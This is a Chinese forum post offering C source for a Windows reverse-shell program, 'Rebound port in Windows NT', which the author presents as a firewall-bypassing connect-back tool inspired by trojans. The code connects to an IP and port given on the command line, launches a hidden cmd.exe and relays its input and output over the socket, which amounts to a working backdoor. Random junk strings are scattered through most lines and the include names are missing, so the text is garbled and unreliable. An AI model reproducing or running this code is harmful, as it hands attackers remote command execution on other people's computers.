这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t)kr/Z*p\
o@V/37!
/* ============================== @5nkI$>3z
Rebound port in Windows NT Y&!McM!Jw
By wind,2006/7 P)o[p(
===============================*/ ~TmHnAz
#include W9V=hQ2
#include ,?skJ
9?mOLDu}Q0
#pragma comment(lib,"wsock32.lib") S
g_?.XZc[
^O\1v
void OutputShell(); 7*8nUq
SOCKET sClient; j2&OYg
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :r|P?;t(
p`V9+CA
void main(int argc,char **argv) j?` D\LZhf
{ ?9.? w-Q'
WSADATA stWsaData; @X / =.
int nRet; :$@zX]?M
SOCKADDR_IN stSaiClient,stSaiServer; Y~\xWYR
Y(;[L`"
if(argc != 3) KgkB)1s@n
{ LSOwa
printf("Useage:\n\rRebound DestIP DestPort\n"); 3 mMdq*X5
return; ="PywZ
} %4g4 C#
hD~/6bx
WSAStartup(MAKEWORD(2,2),&stWsaData); hCx#H eh
ViC76aJ
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (TK
cSVR
G37L 9IG-M
stSaiClient.sin_family = AF_INET; ^rZ+H@p:6
stSaiClient.sin_port = htons(0); J'&?=|
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )pj \b[
'aSORVq^e[
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) oFA$X Y
{ X=7vUb,\gB
printf("Bind Socket Failed!\n"); ,PtR^" Mf4
return; Czl 8Q oH
} "+OMo-<K7
d=Ihl30m
stSaiServer.sin_family = AF_INET; PzG:M7
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); @!tmUme1c
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2/W0y!qh1
e&I.kC"j6
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) R~u7;Wv
{ D}=i
tu
printf("Connect Error!"); C]@B~X1H^
return; PDiorW}]k
} T%b^|="@
OutputShell(); ]7ZC>.t
} 6v#sq
s`#j8>`M
void OutputShell() uX!y,a/"
{
HAOrwJFqU
char szBuff[1024]; 0R{R=r]
SECURITY_ATTRIBUTES stSecurityAttributes; Z\yLzy#8
OSVERSIONINFO stOsversionInfo; D.JVEKLkU
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Jrrk$0H^~
STARTUPINFO stStartupInfo; VY26Cf"
char *szShell; HCCp<2D"C
PROCESS_INFORMATION stProcessInformation; h!3Z%M
unsigned long lBytesRead;
0>J4O:k
o?x|y
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); W5yu`Br
+2enz!z#k
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r/w@Dh]{_
stSecurityAttributes.lpSecurityDescriptor = 0; [<yUq zm
stSecurityAttributes.bInheritHandle = TRUE; {;gWn'aq
@MVZy
DWO:
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 0iq$bT|
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); >~r@*gml
ziip*<a!_
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); AZP>\Dq
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P =Gb
stStartupInfo.wShowWindow = SW_HIDE; zTzG&B-
stStartupInfo.hStdInput = hReadPipe; Q9
",
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~|jy$*m4A
.Zm }
GetVersionEx(&stOsversionInfo); '4S@:.D`
JVYYwA^.
switch(stOsversionInfo.dwPlatformId) B_1u<00kg
{ IWd*"\L
case 1: T7X2$ '
szShell = "command.com"; e=$xn3)McY
break; *)sz]g|d
default: eesLTyD2_
szShell = "cmd.exe"; yr DYw T
break; 66;O 3g'
} R9HS%O6b6
e/%YruzS
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rx)Q]
-B! TA0=oJ
send(sClient,szMsg,77,0); k18V4ATE]
while(1) vK/Z9wR*05
{ WWzns[$f
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); oMf h|B
if(lBytesRead) l$@lk?dc
{ 7hE=+V8
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); cMKh+r
send(sClient,szBuff,lBytesRead,0); 'v5gg2
} mSp7H!
else ?NeB_<dLa`
{ {[#
lBytesRead=recv(sClient,szBuff,1024,0); !7|9r$
if(lBytesRead<=0) break; BE;iC.rW
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ou4?`JF)-
} 1@Gv`{v
} x/v+7Pt_
$*> _0{<
return; `84yGXLK
}